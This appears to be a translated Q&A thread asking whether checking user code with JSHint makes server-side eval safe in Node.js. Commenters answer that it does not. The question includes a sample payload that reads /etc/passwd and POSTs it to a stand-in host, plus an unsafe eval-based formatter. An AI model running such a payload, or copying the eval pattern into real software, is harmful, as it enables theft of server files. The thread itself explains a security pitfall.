【发布时间】:2015-08-22 19:41:53
【问题描述】:
想象一下,例如(授权的)用户可以将自定义格式化程序提交到具有类似这样代码的 nodejs 服务器。
var JSHINT = require('jshint').JSHINT;
function formatterFactory(code) {
// we could pass more options to jshint...
JSHINT(code, {undef:true},['input','output']);
if (JSHINT.data().errors) {
// throw error...
console.dir(JSHINT.errors);
throw new Error(JSHINT.data().errors[0].reason);
}
// otherwhise eval
return function(input) {
var output;
eval(code);
return output;
}
}
var userNastyCode = ' \
var http = require("http"); \
var fs = require("fs"); \
http.request({ \
method: "POST", \
host: "example.org", \
path: "/muahaha" \
}, function(res) { \
res.resume(); \
}).end(fs.readFileSync("/etc/passwd"));';
var userFormatter = formatterFactory(userNastyCode);
userFormatter('some thing');
// throws error 'require' is not defined.
【问题讨论】:
-
是的,它仍然很危险。 jshint 仅适用于代码样式检查。
-
@redben 初学者的无限循环。访问局部和全局变量(包括
require())... -
您的问题表明对 JSHint 的用途缺乏了解,以及为什么使用
eval会产生安全问题。这两件事是完全无关的。您不能使用 JSHint 使用户提供的输入对eval安全,并且从安全的角度来看,您无需担心eval,除非您让一个用户eval另一个用户的 输入,或您正在运行用户输入的代码服务器端。 -
@redben 除了用户提供的输入还可以包括 cmets 以抑制任何和所有 JSHint 警告。 JSHint 与验证用户输入完全无关,它不能用于这样做。
-
我不明白为什么会有这么多反对者。 OP 不太了解是什么影响了
eval()安全(因此他们提出了一个问题),但问题很明确并且很容易回答。我认为这个问题没有任何问题。
标签: javascript node.js eval jshint javascript-injection